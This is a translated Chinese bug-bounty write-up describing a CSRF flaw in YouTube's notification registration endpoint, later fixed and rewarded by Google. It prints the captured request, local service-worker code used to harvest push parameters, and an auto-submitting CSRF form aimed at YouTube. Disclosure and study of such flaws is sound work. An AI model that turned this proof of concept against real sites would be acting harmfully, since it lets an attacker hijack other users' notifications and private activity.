能够用于劫持Youtube用户通知消息的CSRF漏洞探究
能够用于劫持Youtube用户通知消息的CSRF漏洞探究
大家好，今天分享的writeup是关于YouTube通知服务（Notification）的CSRF漏洞，作者利用该漏洞可以劫持其他YouTube用户（受害者）的通知服务，能以受害者用户身份接收到其订阅频道或视频的最新通知，漏洞最终获得Google官方$3133.7美金的奖励，以下是作者的分享。
从POST请求中发现端倪
某天晚上，我在YouTube官网上测试漏洞，看看能有什么发现，不知不觉时间已经是半夜00:30了，困累之极…..。我就随便点点打开了YouTube的通知服务（Notification），其中的POST请求引起了我的注意：
POST /notifications_ajax?action_register_device=1 HTTP/1.1Host: www.youtube.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://www.youtube.com/sw.jsContent-Type: multipart/form-data; boundary=---------------------------41184676334Origin: https://www.youtube.comContent-Length: 1459Connection: closeCookie: duh, cookies!-----------------------------41184676334Content-Disposition: form-data; name="endpoint"https://updates.push.services.mozilla.com/wpush/v1/gAAA...-----------------------------41184676334Content-Disposition: form-data; name="device_id"dbe8453d99714c6160994fdf5bb3c59332df04278a...-----------------------------41184676334Content-Disposition: form-data; name="p256dh_key"BBNVkVOt6tpY1KvJJqtLvqt...-----------------------------41184676334Content-Disposition: form-data; name="auth_key"V5-_lh6nYT2zoY...-----------------------------41184676334Content-Disposition: form-data; name="permission"granted-----------------------------41184676334--乍一看，为了防止CSRF，其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串，但仔细一分析才知道，这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的，所以，这样初略来看，该接口上不存在CSRF漏洞。
分析Service Worker 服务工作线程
深入分析可知，上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”，这个sw.js明显为一个服务工作线程脚本（Service Worker）。
Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面，也不需要其他交互，异步地运行在一个完全独立的上下文环境，不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能，本质上来说，Service Worker充当了Web应用程序与浏览器之间的代理。
也就是说，referrer字段中的sw.js发起了这个POST请求，以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
构造CSRF攻击框架
到了这一步，从这些参数里，我隐约觉得这里应该会有漏洞出现，但总要构造个PoC出来试试看。因此，通过研究以上参数的生成机制，我利用sw.js原理，编写了以下三个代码文件，构建了一个本地服务端来生成其中的各个参数。
index.html：
<!DOCTYPE html><html><head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css" /> <script src="index.js"></script></head><body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button></body></html>
index.js：
const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') }}const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration}const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') }}const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission()}sw.js：
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); });})self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); }});const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options);};这三个代码文件的目的在于获取sw.js请求时生成的各个参数，有了这些参数，就可以间接形成通知（Notification），打开其中的index.html页面，点击Ask Permission按钮请求通知权限，后台调用sw.js脚本，通过内置的Firefox API形成一个本地的通知服务端，通知请求提交时，我们就能获取到其中的各个参数。利用这些参数，可以进一步构造出CSRF攻击框架，就能获取到对应的通知消息。
在本地loclalhost构造这种通知请求服务端，需要用到Service Worker 服务工作线程（sw.js）的部署原理，其中涉及服务注册、激活、缓存控制和相关响应机制，具体可参考：developer.mozilla.org和developers.google.com中的详细介绍说明。
综合上述分析，基于我们之前创建的本地通知服务端，结合Youtube的通知请求提交方式，我构造了以下CSRF攻击框架：
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script></form></html>让我意想不到的是，我在其中以其他Youtube账号身份，利用获取到的各种请求参数，提交了通知请求，竟然能有效实施通知消息的CSRF攻击。也就是说，我们现在可以劫持到其他Youtube账号的消息推送接口（PUSH webhook），以其他Youtube账号身份收取到Youtube响应该账号的相关通知，这些通知可能是他订阅的某个频道或视频的更新消息，也可能是他私人视频的观众评论等，如下：
漏洞上报后，谷歌在半小时之后就给了我回复，称漏洞有效，会尽快走完验证修复流程，并会及时给我后续通知。半个多月后，谷歌回复称修复工作已经完成，漏洞按其VRP项目核定，达到$3133.70美金的奖励。
*参考来源：hackademic，clouds编译，转载请注明来自FreeBuf.COM